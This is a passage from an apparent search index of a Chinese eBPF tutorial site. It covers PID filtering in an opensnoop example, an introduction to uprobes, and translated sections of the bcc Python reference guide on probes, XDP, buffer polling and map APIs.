程序加载到内核并执行时，这些全局变量会保持在内核中，可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性，如 bpf_obj_get_info_by_fd 和 bpf_obj_get_info，获取 eBPF 对象的信息，包括全局变量的位置和值。 可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息： $ ecli package.json -h\nUsage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR] Trace open family syscalls. Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --pid_target Process ID to trace Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. 可以通过 --pid_target 选项来指定要捕获的进程的 pid，例如： $ sudo ./ecli run package.json --pid_target 618\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 使用全局变量在 eBPF 中过滤进程 pid","id":"31","title":"使用全局变量在 eBPF 中过滤进程 pid"},"310":{"body":"语法：int map.msg_redirect_hash(struct sk_msg_buff *msg, void*key, u64 flags) 该辅助程序用于在套接字级别实施策略的程序中。如果消息msg被允许通过（即判决eBPF程序返回SK_PASS），则使用哈希键将其重定向到映射引用的套接字（类型为BPF_MAP_TYPE_SOCKHASH）。可以使用入站和出站接口进行重定向。标志中的BPF_F_INGRESS值用于区分（如果存在该标志，则选择入站路径，否则选择出站路径）。目前，这是唯一支持的标志。 成功返回SK_PASS，发生错误返回SK_DROP。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 33. map.msg_redirect_hash()","id":"310","title":"33. map.msg_redirect_hash()"},"311":{"body":"语法：int map.sk_redirect_hash(struct sk_buff *skb, void*key, u64 flags)\".This helper is used in programs implementing policies at the skb socket level. If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: [搜索/tests]( https://github.com/iovisor/bcc/search?q=sk_redirect_hash+path%3Atests&type=Code\\ ),","breadcrumbs":"bcc Reference Guide » 34. map.sk_redirect_hash()","id":"311","title":"34. map.sk_redirect_hash()"},"312":{"body":"Depending on which [BPF helpers](kernel-versions.md#helpers) are used, a GPL-compatible license is required. The special BCC macro BPF_LICENSE specifies the license of the BPF program. You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically. If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it: // SPDX-License-Identifier: GPL-2.0+\n#define BPF_LICENSE GPL Otherwise, the kernel may reject loading your program (see the [错误描述](#2-cannot-call-gpl-only-function-from-proprietary-program) below). Note that it supports multiple words and quotes are not necessary: // SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause\n#define BPF_LICENSE Dual BSD/GPL Check the [BPF helpers reference](kernel-versions.md#helpers) to see which helpers are GPL-only and what the kernel understands as GPL-compatible. If the macro is not specified, BCC will automatically define the license of the program as GPL.","breadcrumbs":"bcc Reference Guide » 许可证","id":"312","title":"许可证"},"313":{"body":"一个重写器的工作是使用内核辅助程序将隐式内存访问转换为显式内存访问。最近的内核引入了一个配置选项ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE，该选项将被设置为使用用户地址空间和内核地址空间不重叠的体系结构。x86和arm设置了这个配置选项，而s390没有。如果没有设置ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE，bpf旧帮助函数bpf_probe_read()将不可用。一些现有的用户可能有隐式内存访问来访问用户内存，所以使用bpf_probe_read_kernel()会导致他们的应用程序失败。因此，对于非s390，重写器将对这些隐式内存访问使用bpf_probe_read()。对于s390，默认使用bpf_probe_read_kernel()，用户在访问用户内存时应显式使用bpf_probe_read_user()","breadcrumbs":"bcc Reference Guide » Rewriter","id":"313","title":"Rewriter"},"314":{"body":"","breadcrumbs":"bcc Reference Guide » bcc Python","id":"314","title":"bcc Python"},"315":{"body":"构造函数。","breadcrumbs":"bcc Reference Guide » 初始化","id":"315","title":"初始化"},"316":{"body":"语法: BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int]) 创建一个BPF对象。这是定义BPF程序并与其输出交互的主要对象。 必须提供text或src_file之一，不能两者都提供。 cflags指定要传递给编译器的额外参数，例如-DMACRO_NAME=value或-I/include/path。参数以数组形式传递，每个元素为一个额外的参数。注意，字符串不会按空格拆分，所以每个参数必须是数组的不同元素，例如[\"-include\", \"header.h\"]。 debug标志控制调试输出，可以使用或运算: DEBUG_LLVM_IR = 0x1 编译后的LLVM IR DEBUG_BPF = 0x2 加载的BPF字节码和分支时的寄存器状态 DEBUG_PREPROCESSOR = 0x4 预处理器的结果 DEBUG_SOURCE = 0x8 嵌入源码的ASM指令 DEBUG_BPF_REGISTER_STATE = 0x10 所有指令的寄存器状态，额外打印DEBUG_BPF的信息 DEBUG_BTF = 0x20 打印来自libbpf库的消息。 示例: BPF(text='int do_trace(void *ctx) { bpf_trace_printk(\"命中！\\\\n\"); return 0; }'); # 定义程序为一个变量:\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"你好，世界！\\\\n\"); return 0;\n}\n\"\"\"\nb = BPF(text=prog) # 源文件:\nb = BPF(src_file = \"vfsreadlat.c\") # 包括一个USDT对象:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) # 添加包含路径:\nu = BPF(text=prog, cflags=[\"-I/path/to/include\"]) 在原地的示例:\n[搜索 /examples](https://github.com/iovisor/bcc/search?q=BPF+path%3Aexamples+language%3Apython&type=Code),\n[搜索 /tools](https://github.com/iovisor/bcc/search?q=BPF+path%3Atools+language%3Apython&type=Code) ### 2. USDT 语法: ```USDT({pid=pid | path=path})``` 创建一个对象以检测用户静态定义的跟踪(USDT)探针。它的主要方法是```enable_probe()```。 参数: - pid: 附加到该进程ID。\n- path: 从此二进制路径检测USDT探针。 示例: ```Python\n# 包括一个USDT对象:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) 在原地的示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. BPF","id":"316","title":"1. BPF"},"317":{"body":"","breadcrumbs":"bcc Reference Guide » 事件","id":"317","title":"事件"},"318":{"body":"语法: BPF.attach_kprobe(event=\"event\", fn_name=\"name\") 通过内核动态跟踪函数入口，来检测内核函数event()，并将我们的C定义的函数name()附加到每次调用内核函数时被调用。 例如: b.attach_kprobe(event=\"sys_clone\", fn_name=\"do_trace\") 这将检测内核sys_clone()函数，并在每次调用时运行我们定义的BPF函数do_trace()。 您可以多次调用attach_kprobe()，并将您的BPF函数附加到多个内核函数上。您也可以多次调用attach_kprobe()函数将多个BPF函数附加到同一个内核函数。 有关如何从BPF中提取参数的详细信息，请参阅前面的kprobes部分。 示例： 查找/examples , 查找/tools","breadcrumbs":"bcc Reference Guide » 1. attach_kprobe()","id":"318","title":"1. attach_kprobe()"},"319":{"body":"语法：BPF.attach_kretprobe(event=\"事件\", fn_name=\"名称\" [, maxactive=int]) 使用内核动态跟踪函数返回来检测内核函数event()的返回，并附加我们定义的C函数name()在内核函数返回时调用。 例如： b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\") 这将检测内核的vfs_read()函数，每次调用该函数时都会执行我们定义的BPF函数do_return()。 您可以多次调用attach_kretprobe()函数，并将您的BPF函数附加到多个内核函数的返回值。 您也可以多次调用attach_kretprobe()函数将多个BPF函数附加到同一个内核函数的返回值。 当在内核函数上安装kretprobe时，它可以捕获的并行调用次数存在限制。您可以使用maxactive参数更改该限制。有关默认值，请参阅kprobes文档。 有关如何从BPF中提取返回值的详细信息，请参阅前面的kretprobes部分。 示例： 查找/examples , 查找/tools","breadcrumbs":"bcc Reference Guide » 2. attach_kretprobe()","id":"319","title":"2. attach_kretprobe()"},"32":{"body":"本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中，我们可以通过定义 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 函数并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID，并使用 bpf_printk 函数在内核日志中打印出来。在 eBPF 程序中，我们还可以通过定义一个全局变量 pid_target 来指定要捕获的进程的 pid，从而过滤输出，只输出指定的进程的信息。 通过学习本教程，您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 总结","id":"32","title":"总结"},"320":{"body":"语法：BPF.attach_tracepoint(tp=\"追踪点\", fn_name=\"名称\") 检测由tracepoint描述的内核追踪点，并在命中时运行BPF函数name()。这是一种显式方式来操控 tracepoints。在前面的 tracepoints 部分讲解过的 TRACEPOINT_PROBE 语法是另一种方法，其优点是自动声明一个包含 tracepoint 参数的 args 结构体。在使用 attach_tracepoint() 时，tracepoint 参数需要在 BPF 程序中声明。 例如： # 定义 BPF 程序\nbpf_text = \"\"\"\n#include  struct urandom_read_args { // 来自 /sys/kernel/debug/tracing/events/random/urandom_read/format u64 __unused__; u32 got_bits; u32 pool_left; u32 input_left;\n}; int printarg(struct urandom_read_args *args) { bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n};\n\"\"\" # 加载 BPF 程序\nb = BPF(text=bpf_text)\nb.attach_tracepoint(\"random:urandom_read\", \"printarg\") 注意，printarg() 的第一个参数现在是我们定义的结构体。 代码示例： code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. attach_tracepoint()","id":"320","title":"3. attach_tracepoint()"},"321":{"body":"语法：BPF.attach_uprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\" [, sym_off=int]), BPF.attach_uprobe(name=\"location\", sym_re=\"regex\", fn_name=\"name\"), BPF.attach_uprobe(name=\"location\", addr=int, fn_name=\"name\") 用于操控位于 location 中的库或二进制文件中的用户级别函数 symbol()，使用用户级别动态跟踪该函数的入口，并将我们定义的 C 函数 name() 附加为在用户级别函数被调用时调用的函数。如果给定了 sym_off，则该函数将附加到符号的偏移量上。真实的地址addr可以替代sym，在这种情况下，sym必须设置为其默认值。如果文件是非PIE可执行文件，则addr必须是虚拟地址，否则它必须是相对于文件加载地址的偏移量。 可以在sym_re中提供普通表达式来代替符号名称。然后，uprobes将附加到与提供的正则表达式匹配的符号。 在名字参数中可以给出库名而不带lib前缀，或者给出完整路径（/usr/lib/...）。只能通过完整路径（/bin/sh）给出二进制文件。 例如: b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") 这将在libc中对strlen()函数进行插装，并在调用该函数时调用我们的BPF函数count()。请注意，在libc中的libc中的\"lib\"是不必要的。 其他例子: b.attach_uprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_entry\")\nb.attach_uprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") 您可以多次调用attach_uprobe()，并将BPF函数附加到多个用户级函数。 有关如何从BPF工具获取参数的详细信息，请参见上一节uprobes。 原址示例： search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. attach_uprobe()","id":"321","title":"4. attach_uprobe()"},"322":{"body":"语法: BPF.attach_uretprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\") 使用用户级动态跟踪从名为location的库或二进制文件中的用户级函数symbol()返回值的方式仪器化，并将我们定义的C函数name()附加到用户级函数返回时调用。 例如: b.attach_uretprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\")\n```。这将使用libc库对```strlen()```函数进行插装，并在其返回时调用我们的BPF函数```count()```。 其他示例： ```Python\nb.attach_uretprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_return\")\nb.attach_uretprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") 您可以多次调用attach_uretprobe()，并将您的BPF函数附加到多个用户级函数上。 有关如何对BPF返回值进行插装的详细信息，请参阅前面的uretprobes部分。 内部示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. attach_uretprobe()","id":"322","title":"5. attach_uretprobe()"},"323":{"body":"语法：USDT.enable_probe(probe=probe, fn_name=name) 将BPF C函数name附加到USDT探针probe。 示例： # 根据给定的PID启用USDT探针\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\") 要检查您的二进制文件是否具有USDT探针以及它们的详细信息，可以运行readelf -n binary并检查stap调试部分。 内部示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 6. USDT.enable_probe()","id":"323","title":"6. USDT.enable_probe()"},"324":{"body":"语法：BPF.attach_raw_tracepoint(tp=\"tracepoint\", fn_name=\"name\") 对由tracepoint（仅event，无category）描述的内核原始跟踪点进行插装，并在命中时运行BPF函数name()。 这是一种明确的插装跟踪点的方法。早期原始跟踪点部分介绍的RAW_TRACEPOINT_PROBE语法是一种替代方法。 例如： b.attach_raw_tracepoint(\"sched_switch\", \"do_trace\") 内部示例：\".\" 搜索 /工具","breadcrumbs":"bcc Reference Guide » 7. attach_raw_tracepoint()","id":"324","title":"7. attach_raw_tracepoint()"},"325":{"body":"语法: BPF.attach_raw_socket(fn, dev) 将一个BPF函数附加到指定的网络接口。 fn 必须是 BPF.function 类型，并且 bpf_prog 类型需要是 BPF_PROG_TYPE_SOCKET_FILTER (fn=BPF.load_func(func_name, BPF.SOCKET_FILTER)) fn.sock 是一个非阻塞原始套接字，已经创建并绑定到 dev。 所有处理 dev 的网络数据包都会在经过 bpf_prog 处理后，被复制到 fn.sock 的 recv-q 中。可以使用 recv/recvfrom/recvmsg 来从 fn.sock 接收数据包。需要注意的是，如果在 recv-q 满了之后没有及时读取，复制的数据包将会被丢弃。 可以使用这个功能来像 tcpdump 一样捕获网络数据包。 可以使用ss --bpf --packet -p来观察 fn.sock。 示例: BPF.attach_raw_socket(bpf_func, ifname) 示例位置: 搜索 /示例","breadcrumbs":"bcc Reference Guide » 8. attach_raw_socket()","id":"325","title":"8. attach_raw_socket()"},"326":{"body":"语法: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags) 改装由 dev 描述的网络驱动程序，然后接收数据包，并使用标志运行 BPF 函数 fn_name()。 以下是可选的标志列表。 # from xdp_flags uapi/linux/if_link.h\nXDP_FLAGS_UPDATE_IF_NOEXIST = (1 << 0)\nXDP_FLAGS_SKB_MODE = (1 << 1)\nXDP_FLAGS_DRV_MODE = (1 << 2)\nXDP_FLAGS_HW_MODE = (1 << 3)\nXDP_FLAGS_REPLACE = (1 << 4) 您可以像这样使用标志: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST) 标志的默认值为0。这意味着如果没有带有 device 的xdp程序，fn将在该设备上运行。如果有一个正在运行的xdp程序与设备关联，旧程序将被新的fn程序替换。\".当前，bcc不支持XDP_FLAGS_REPLACE标志。以下是其他标志的描述。 1. XDP_FLAGS_UPDATE_IF_NOEXIST 如果已经将XDP程序附加到指定的驱动程序上，再次附加XDP程序将失败。 2. XDP_FLAGS_SKB_MODE 驱动程序不支持XDP，但内核模拟支持它。 XDP程序可以工作，但没有真正的性能优势，因为数据包无论如何都会传递给内核堆栈，然后模拟XDP - 这通常适用于家用电脑，笔记本电脑和虚拟化硬件所使用的通用网络驱动程序。 3. XDP_FLAGS_DRV_MODE 驱动程序具有XDP支持，并且可以将数据包直接传递给XDP，无需内核堆栈交互 - 少数驱动程序可以支持此功能，通常用于企业级硬件。 4. XDP_FLAGS_HW_MODE XDP可以直接在NIC上加载和执行 - 只有少数NIC支持这一功能。 例如： b.attach_xdp(dev=\"ens1\", fn=b.load_func(\"do_xdp\", BPF.XDP)) 这将为网络设备ens1安装工具，并在接收数据包时运行我们定义的BPF函数do_xdp()。 不要忘记在最后调用b.remove_xdp(\"ens1\")！ 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 9. attach_xdp()","id":"326","title":"9. attach_xdp()"},"327":{"body":"语法：BPF.attach_func(fn, attachable_fd, attach_type [, flags]) 将指定类型的BPF函数附加到特定的attachable_fd上。如果attach_type是BPF_FLOW_DISSECTOR，则预期该函数将附加到当前的网络命名空间，并且attachable_fd必须为0。 例如： b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT)\n```注意。当附加到“全局”钩子（xdp、tc、lwt、cgroup）时。如果程序终止后不再需要“BPF 函数”，请确保在程序退出时调用 `detach_func`。 示例中的内部代码： [search /examples](https://github.com/iovisor/bcc/search?q=attach_func+path%3Aexamples+language%3Apython&type=Code), ### 11. detach_func() 语法：```BPF.detach_func(fn, attachable_fd, attach_type)``` 断开指定类型的 BPF 函数。 例如： ```Python\nb.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS) // 断开 cgroup_fd 上的 fn 函数\nb.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) // 断开 map_fd 上的 fn 函数 示例中的内部代码： search /examples ,","breadcrumbs":"bcc Reference Guide » 10. attach_func()","id":"327","title":"10. attach_func()"},"328":{"body":"语法：BPF.detach_kprobe(event=\"event\", fn_name=\"name\") 断开指定事件的 kprobe 处理函数。 例如： b.detach_kprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_entry\") // 断开 \"__page_cache_alloc\" 事件上的 \"trace_func_entry\" 函数","breadcrumbs":"bcc Reference Guide » 12. detach_kprobe()","id":"328","title":"12. detach_kprobe()"},"329":{"body":"语法：BPF.detach_kretprobe(event=\"event\", fn_name=\"name\") 断开指定事件的 kretprobe 处理函数。 例如： b.detach_kretprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_return\") // 断开 \"__page_cache_alloc\" 事件上的 \"trace_func_return\" 函数","breadcrumbs":"bcc Reference Guide » 13. detach_kretprobe()","id":"329","title":"13. detach_kretprobe()"},"33":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第五篇，主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用","id":"33","title":"eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用"},"330":{"body":"","breadcrumbs":"bcc Reference Guide » 调试输出","id":"330","title":"调试输出"},"331":{"body":"语法：BPF.trace_print(fmt=\"fields\") 该方法持续读取全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件并打印其内容。可以通过 BPF 和 bpf_trace_printk() 函数将数据写入该文件，但该方法存在限制，包括缺乏并发跟踪支持。更推荐使用前面介绍的 BPF_PERF_OUTPUT 机制。 参数： fmt: 可选，可以包含字段格式化字符串，默认为 None。 示例： # 将 trace_pipe 输出原样打印：\nb.trace_print() # 打印 PID 和消息：\nb.trace_print(fmt=\"{1} {5}\") 示例中的内部代码： search /examples 。\" 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. trace_print()","id":"331","title":"1. trace_print()"},"332":{"body":"语法: BPF.trace_fields(nonblocking=False) 该方法从全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件中读取一行，并将其作为字段返回。该文件可以通过 BPF 和 bpf_trace_printk() 函数进行写入，但该方法有一些限制，包括缺乏并发追踪支持。我们更推荐使用之前介绍的 BPF_PERF_OUTPUT 机制。 参数: nonblocking: 可选参数，默认为 False。当设置为 True 时，程序将不会阻塞等待输入。 示例: while 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue [...] 内联示例: 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. trace_fields()","id":"332","title":"2. trace_fields()"},"333":{"body":"BPF 程序的正常输出有两种方式: 每个事件: 使用 PERF_EVENT_OUTPUT、open_perf_buffer() 和 perf_buffer_poll()。 map 汇总: 使用 items() 或 print_log2_hist()，在 Maps 部分有介绍。","breadcrumbs":"bcc Reference Guide » 输出 API","id":"333","title":"输出 API"},"334":{"body":"语法: BPF.perf_buffer_poll(timeout=T) 该方法从所有打开的 perf 环形缓冲区中轮询，并对每个条目调用在调用 open_perf_buffer 时提供的回调函数。 timeout 参数是可选的，并以毫秒为单位计量。如果未提供，则轮询将无限期进行。 示例: # 循环调用带有回调函数 print_event 的 open_perf_buffer\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() 内联示例: 代码 \".\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. perf_buffer_poll()","id":"334","title":"1. perf_buffer_poll()"},"335":{"body":"语法: BPF.ring_buffer_poll(timeout=T) 这个方法从所有已打开的ringbuf环形缓冲区中轮询数据，对每个条目调用在调用open_ring_buffer时提供的回调函数。 timeout参数是可选的，以毫秒为单位测量。如果没有指定，轮询将持续到没有更多的数据或回调函数返回负值。 示例: # 循环使用回调函数print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll(30) except KeyboardInterrupt: exit(); 示例： 搜索 /示例 ,","breadcrumbs":"bcc Reference Guide » 2. ring_buffer_poll()","id":"335","title":"2. ring_buffer_poll()"},"336":{"body":"语法: BPF.ring_buffer_consume() 这个方法从所有已打开的ringbuf环形缓冲区中消费数据，对每个条目调用在调用open_ring_buffer时提供的回调函数。 与ring_buffer_poll不同，这个方法在尝试消费数据之前 不会轮询数据 。这样可以减少延迟，但会增加CPU消耗。如果不确定使用哪种方法，建议使用ring_buffer_poll。 示例: # 循环使用回调函数print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_consume() except KeyboardInterrupt: exit(); 示例： 搜索 /示例 ,","breadcrumbs":"bcc Reference Guide » 3. ring_buffer_consume()","id":"336","title":"3. ring_buffer_consume()"},"337":{"body":"Maps是BPF数据存储器，在bcc中用于实现表、哈希和直方图等更高层次的对象。","breadcrumbs":"bcc Reference Guide » Map APIs","id":"337","title":"Map APIs"},"338":{"body":"语法: BPF.get_table(name)\".返回一个table对象。由于可以将表格作为BPF项进行读取，因此此功能不再使用。例如：BPF[name]。 示例： counts = b.get_table(\"counts\") counts = b[\"counts\"] 这两者是等价的。","breadcrumbs":"bcc Reference Guide » 1. get_table()","id":"338","title":"1. get_table()"},"339":{"body":"语法：table.open_perf_buffers(callback, page_cnt=N, lost_cb=None) 此操作基于BPF中定义的表格（BPF_PERF_OUTPUT()），将回调Python函数callback关联到在perf环形缓冲区中有数据可用时调用。这是从内核传输每个事件的数据到用户空间的推荐机制的一部分。可以通过page_cnt参数指定perf环形缓冲区的大小，默认为8个页面，必须是页数的2的幂次方。如果回调函数不能快速处理数据，则可能丢失某些提交的数据。lost_cb用于记录/监视丢失的计数。如果lost_cb是默认的None值，则只会打印一行消息到stderr。 示例： # 处理事件\ndef print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # 循环通过回调函数打印事件\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit() 请注意，传输的数据结构需要在BPF程序中以C方式声明。例如： // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events);\n[...] 在Python中，您可以让bcc自动生成C声明中的数据结构（建议方法）： def print_event(cpu, data, size): event = b[\"events\"].event(data)\n[...] 或者手动定义： # 在Python中定义输出数据结构\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)]\"。def print_event(cpu, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] 在此处的示例中：\n[code](https://github.com/iovisor/bcc/blob/v0.9.0/examples/tracing/hello_perf_output.py#L52),\n[search /examples](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Aexamples+language%3Apython&type=Code),\n[search /tools](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Atools+language%3Apython&type=Code) ### 3. items() 语法: ```table.items()``` 返回一个表中的键数组。它可以与BPF_HASH映射一起使用，从而获取并迭代键。 示例: ```Python\n# 打印输出\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) 此示例还使用sorted()方法按值排序。 在此处的示例中： search /examples , search /tools 。","breadcrumbs":"bcc Reference Guide » 2. open_perf_buffer()","id":"339","title":"2. open_perf_buffer()"},"34":{"body":"uprobe是一种用户空间探针，uprobe探针允许在用户空间程序中动态插桩，插桩位置包括：函数入口、特定偏移处，以及函数返回处。当我们定义uprobe时，内核会在附加的指令上创建快速断点指令（x86机器上为int3指令），当程序执行到该指令时，内核将触发事件，程序陷入到内核态，并以回调函数的方式调用探针函数，执行完探针函数再返回到用户态继续执行后序的指令。 uprobe基于文件，当一个二进制文件中的一个函数被跟踪时，所有使用到这个文件的进程都会被插桩，包括那些尚未启动的进程，这样就可以在全系统范围内跟踪系统调用。 uprobe适用于在用户态去解析一些内核态探针无法解析的流量，例如http2流量（报文header被编码，内核无法解码），https流量（加密流量，内核无法解密）。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 什么是uprobe","id":"34","title":"什么是uprobe"},"340":{"body":"语法: table.values() 返回一个表中的值数组。","breadcrumbs":"bcc Reference Guide » 4. values()","id":"340","title":"4. values()"},"341":{"body":"语法: table.clear() 清除表：删除所有条目。 示例: # 每秒打印映射摘要：\nwhile True: time.sleep(1) print(\"%-8s\\n\" % time.strftime(\"%H:%M:%S\"), end=\"\") dist.print_log2_hist(sym + \" return:\") dist.clear() 在此处的示例中: search /examples , search /tools 。","breadcrumbs":"bcc Reference Guide » 5. clear()","id":"341","title":"5. clear()"},"342":{"body":"语法: table.items_lookup_and_delete_batch()。返回一个使用一次BPF系统调用在表中的键的数组。可以与BPF_HASH映射一起使用以获取和迭代键。还会清除表：删除所有条目。 您应该使用table.items_lookup_and_delete_batch()而不是table.items()后跟table.clear()。它需要内核v5.6。 示例: # 每秒打印调用率:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter)) sleep(1)","breadcrumbs":"bcc Reference Guide » 6. items_lookup_and_delete_batch()","id":"342","title":"6. items_lookup_and_delete_batch()"},"343":{"body":"语法: table.items_lookup_batch() 使用一次BPF系统调用返回表中的键数组。可以与BPF_HASH映射一起使用以获取和迭代键。 您应该使用table.items_lookup_batch()而不是table.items()。它需要内核v5.6。 示例: # 打印映射的当前值:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter))","breadcrumbs":"bcc Reference Guide » 7. items_lookup_batch()","id":"343","title":"7. items_lookup_batch()"},"344":{"body":"语法: table.items_delete_batch(keys) 当keys为None时，它会清除BPF_HASH映射的所有条目。它比table.clear()更有效，因为它只生成一个系统调用。您可以通过给出一个键数组来删除映射的一个子集。这些键及其关联值将被删除。它需要内核v5.6。 参数: keys是可选的，默认为None。","breadcrumbs":"bcc Reference Guide » 8. items_delete_batch()","id":"344","title":"8. items_delete_batch()"},"345":{"body":"语法: table.items_update_batch(keys, values) 使用新值更新所有提供的键。两个参数必须具有相同的长度并且在映射限制之内（在1到最大条目之间）。它需要内核v5.6。 参数: keys是要更新的键列表 values是包含新值的列表。### 10. print_log2_hist() 语法: table.print_log2_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) 以ASCII的形式打印一个表格作为log2直方图。该表必须以log2的形式存储，可使用BPF函数bpf_log2l()完成。 参数: val_type: 可选，列标题。 section_header: 如果直方图有一个辅助键，多个表格将被打印，并且section_header可以用作每个表格的标题描述。 section_print_fn: 如果section_print_fn不为None，则将传递给bucket值。 示例: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, 